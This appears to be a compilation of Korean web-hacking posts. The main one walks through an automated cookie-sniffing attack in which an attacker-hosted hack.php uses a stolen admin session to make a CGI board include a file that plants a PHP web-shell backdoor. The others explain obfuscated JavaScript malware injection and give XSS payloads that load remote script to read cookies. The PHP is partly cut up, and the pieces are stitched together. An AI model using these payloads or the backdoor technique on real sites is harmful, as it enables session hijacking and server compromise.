index.html 에서는 ./data/head.txt 의 값을 읽습니다. 그 값은 Admin 이 지정한 header 파일의 이름입니다. 그리고 include합니다. 공격을 하기 전에 정상적인 admin 으로 로그인하여 이러한 과정을 테스트 해보겠습니다. 다음과 같은 header.txt 라는 파일을 Target CGI 의 pds 에 올립니다. header.txt <html> 파일을 업로드 한 후 admin 기능을 이용하여 header.txt 파일을 header 로 지정합니다. [화면7] http://beist.org/~beist/auto/admin_menu.html (header 파일 지정) 이제 index.html 을 새로 고침하여 변화가 있는지 알아보겠습니다. [화면8] http://beist.org/~beist/auto/index.html (header 지정된 index.html) index.html 의 상단을 보면 header.txt 의 내용이 포함되어 있음을 확인할 수 있습니다. hack.php 가 해야할 일을 여기서 간단하게 다시 정리하고 넘어가겠습니다. hack.php 에서는 Target CGI 로 연결한 후에, Admin Menu 의 header 파일 지정 기능을 이용하여, beist.txt 을 include 하도록 작업을 해야합니다. 이제 본격적으로 hack.php 의 소스를 알아보겠습니다. hack.php <? /* log 파일 기록에 쓰기 위하여 현재 날짜와 시간을 정의. */ $day = date("Y.m.d", mktime()); /* 만약 cook 변수가 넘어오지 않았다면, 즉, cookie(session)값이 넘어오지 않았다면 에러 메세지를 로그 파일에 기록하고 실행을 중지시킴 */
echo "<br><br><br><center><font size=2>Automatic attack program that can use in Cookie Sniffing<br><br>"; /* url 문자열을 파싱하여, targetcgi, targetaddress, targettotal 등을 정의. targetsession 은 cook 값. */ $total = substr($url, strlen("http://"), 100); $use = split("/", $total); $temp = "http://"; for($count=0;$count<sizeof($use)-2;$count++) $targetcgi = $temp; echo "targetcgi : $targetcgi<br>"; /* 로그 파일에 기록 */
/* admin 메뉴에서 include 할 파일 정의. %2F 는 / 를 뜻함 */ $includefile = ".%2Fdata%2Fbeist.txt"; /* POST method 로 보낼 데이터. ex) head=.%2Fdata%2Fbeist.txt */ $argument = "head=$includefile"; /* POST header 에 보낼 데이터로, argument 의 길이를 저장 */ $argulength = strlen($argument); /* header 정의 */ $httpheader= /* Target 서버의 80 번 포트에 연결. 만약 연결에 실패한다면 로그 파일에 기록 */ $sock=fsockopen("$targetaddress", 80, $errno, $errstr, 30); /* 열린 소켓으로 POST header 와 argument 를 각각 보냄. */ fputs($sock, $httpheader); ?> hack.php 를 만들어 보았습니다. 소스의 기능은 주석을 참고하시기 바랍니다. 이제 이 파일을 hacker 의 서버에 올려놓습니다. hack.php 의 URL 을 다음으로 가정하겠습니다. hack.php URL - http://beist.hackerscomputer/hack.php
이제 해커는 Target ID 에게 test.txt 을 메모로 보내고, Target 이 test.txt 파일을 읽기를 기다려야 합니다. 여기서는 Cookie Sniffing by Using txt extension 문서에서 설명한 방법을 이용할 것입니다. 메모를 보내는 과정은 중요하지 않으므로, 해커가 Admin 에게 다음과 같은 내용의 메모를 보냈다고 가정하겠습니다. 아래의 화면은 Admin 의 Read Memo CGI 페이지에 들어갔을 때의 화면입니다. [화면8] http://beist.org/~beist/auto/read.html (read memo page) (6) Target 이 test.txt 를 읽게되면 hack.php 로 Cookie 가 넘어가고 hack.php 에서는 이를 이용하여 Target CGI 를 자동 공격 Target 이 test.txt 를 읽게되면, Cookie (Session) 이 hack.php 으로 넘어가게 될 것입니다. 우리가 위에서 만든 hack.php 프로그램은, Target Web Server 로 연결하고 CGI의 Admin Menu 에서 beist.txt 를 header file 로 지정합니다. [화면10] Admin 이 test.txt 를 읽었을 때 상황 무엇인가 작동된 것 같습니다. hack.php 프로그램이 해커가 의도한대로 작동되었다면, data/head.txt 의 내용은 ./data/beist.txt 로 채워져 있어야 합니다. target 서버에서 직접 확인해보겠습니다. [beist@beist auto]$ cat data/head.txt data/head.txt 파일이 생성되었고, 파일의 내용도 ./data/beist.txt 의 값이 된 것으로 보아 성공적으로 해킹이 이루어진 것을 확인할 수 있습니다. header 파일이 data/beist.txt 로 지정되었으니, index.html 를 열때마다 beist.txt 파일이 include 될 것입니다. index.html 을 새로 고침하면, beist.txt 의 내용이 PHP 로 실행될 것이고, 성공적으로 실행된다면 data/beist.php 백도어 파일이 생성될 것입니다. 백도어 파일이 정상적으로 만들어졌는지 확인해보겠습니다. [화면11] http://beist.org/~beist/auto/data/beist.php?beist=id [backdoor 파일] id 명령어로 시스템에 명령을 내려본 결과 uid 48 의 nobody 쉘을 정상적으로 이용가능함을 확인할 수 있습니다. |
4. 마치는 말 Cookie Sniffing 자동화 공격에 대해서 알아보았습니다. 이것은 엄밀히 말하자면 Sniffing과 Spoofing이 결합된 것입니다. 이 방법은 Target 의 Cookie 를 언제 빼올 수 있을지 알 수 없는 상황에서 기다려야 할 필요가 없다는 점이 효과적이지만, 그러나 단점도 있습니다. 위의 문서에서 설명한 것처럼, hack.php 에서 Target CGI 를 공격하기 위해서는 Target CGI 의 구조에 대해서 미리 파악하고 있어야 한다는 것입니다. 위의 경우에서는 CGI 의 Admin 기능 중 header file 을 정의할 수 있다는 기능을 이용하여 공격을 한 것처럼, 사람이 직접 공격하는 방식이 아닌, hack.php 에서 자동화 공격을 하기 위해서는 CGI 의 구조에 대해서 어느 정도 알고 있어야만 공격을 성공할 수 있을 것입니다. 그렇기 때문에 공개된 CGI 의 경우에는 미리 분석을 통하여 hack.php 같은 프로그램을 이용하여 자동화 공격을 수행할 수 있겠지만 그렇지 않은 경우에는 힘들 것입니다. 그렇지만 Admin 의 Password 를 바꾼다거나, 등록된 정보를 본다거나 하는 정도의 간단한 작업들은 굳이 Target CGI 의 구조를 자세히 몰라도 가능할 수 있습니다. 이 외에, Cookie Sniffing 에 성공하게 되면, 해커에게 자동으로 메일을 보내거나, 문자 메세지를 보내거나 하는 기능의 프로그램을 만들어두는 것도 좋은 방법이 되겠습니다. 마지막으로, 이 방법은 많이 사용되고 있는 특정 CGI 를 공격할 때는, 자동화 공격이 유용할 수 있겠지만, 그래도 여러가지 요소들을 따져 보았을 때 아주 효율적인 기법이라고 생각되진 않습니다. 다만, 이러한 방법으로 공격을 자동화할 수 있다는 것, 그러므로 Session 도 안전하지 못하다라는 것을 이 문서에서는 시사하고 있습니다. 또한 이 방법을 응용할 경우 Web CGI를 공격하는 웜도 쉽게 제작할 수 있을 것입니다. |
mhtml 이 InfotechStorate 프로토콜을 이용할때 취약점을 이용한 해킹입니다
테스트해보니 지금은 보안 패치된것 같네요
하지만 이 과정을 지켜보면 웹해킹에 대한 감을 잡으실 수 있습니다 ^^
최근에 알려진 악성코드 삽입을 위해 사용하는 자바스크립트 삽입 방식입니다.
기존 방식보다더 좀더 꼬우기위해서 이번에는 변수치환 방법을 사용하고 있습니다.
(1) 치환
아래와 같은 코드의 의미는 9e1은 무시되고 뒤에 있는 it을 mutae에 할당한다.
mutae=(9e1,"it");
즉 mutae="it"; 가 되겠군요..
(2) 조건
rgvij=(0.2e1>=4e1?.9075:"i"+"f");
0.2e1은 2와 동일합니다.
4e1은 40과 동일합니다.
아래와 같이 변환할 수 있겠네요..
if ( 2 >= 40 ? .9075 : "i"+"f" )
만약 2 >= 40 조건식이 맞다면 .0975를 실행하고,,
2 >= 40 조건식이 틀리다면 "i"+"f" 실행합니다. 마치 C 함수에서 일반적으로 쓰이는 조건 분기 방법을 사용합니다.
결국 40이 더크므로.."i"+"f" 가 실행되겠네요..
그리고 자바스크립트 해석기는 "i"+"f" 를 if 로 인식합니다.
revij="if"; 라는 식이겠네요..
3) 또 다른 치환
document[“write”](“text to print”); 는 아래와 같이 ..사용될 수도 있죠..
a = document;
b = “write”;
c = “text to print”;
a[b](c);
아래는 샘플입니다. 한 풀어보시죠..
aaa=(((0x4435,7.)>=(.61,9.12e2)?(1,4.033e3):(266,7.1e1)),((0x97<=.1?7.616e3:2.176e3),(.39<8e0?document:2032)))
<IMG STYLE='xss:expre\ssion(alert("hacked"))'>
자바스크립트 사용 - for XSS
ㅇ 사이트 입력
<center id=xcuter></center><a onpropertychange='var x="scr"+"ipt"; var xcu=document.createElement(x); xcu.src="http://youngsam.kr/xss";document.getElementById("xcuter").appendChild(xcu);' href="xcuter"></a>
ㅇ http://youngsam.kr/xss 의 내용
document.getElementById("xcuter").innerHTML = '<img src="" onerror="alert(document.cookie)"';
자바스크립트 사용 - for XSS
ㅇ 사이트 입력
<center id=xcuter></center><a onpropertychange='var x="scr"+"ipt"; var xcu=document.createElement(x); xcu.src="http://youngsam.kr/xss";document.getElementById("xcuter").appendChild(xcu);' href="xcuter"></a>
ㅇ http://youngsam.kr/xss 의 내용
document.getElementById("xcuter").innerHTML = '<img src="" onerror="alert(document.cookie)"';
<frameset><frame src=http://youngsam.kr/xss></frameset>
ㅇ http://youngsam.kr/xss 의 내용
<img src="" onerror="alert(String.fromCharCode(88,83,83,32,72,65,67,75,69,68));" height=0 width=0>
ㅇ = alert('XSS HACKED)')
ㅇ 우회 방안 고민중 - frameset 앞에 <body>, "aa" 등 들어갈 경우 실패
<html>
<head><title>xss</title></head>
<frameset><frame src=http://youngsam.kr/xss></frameset>
</html>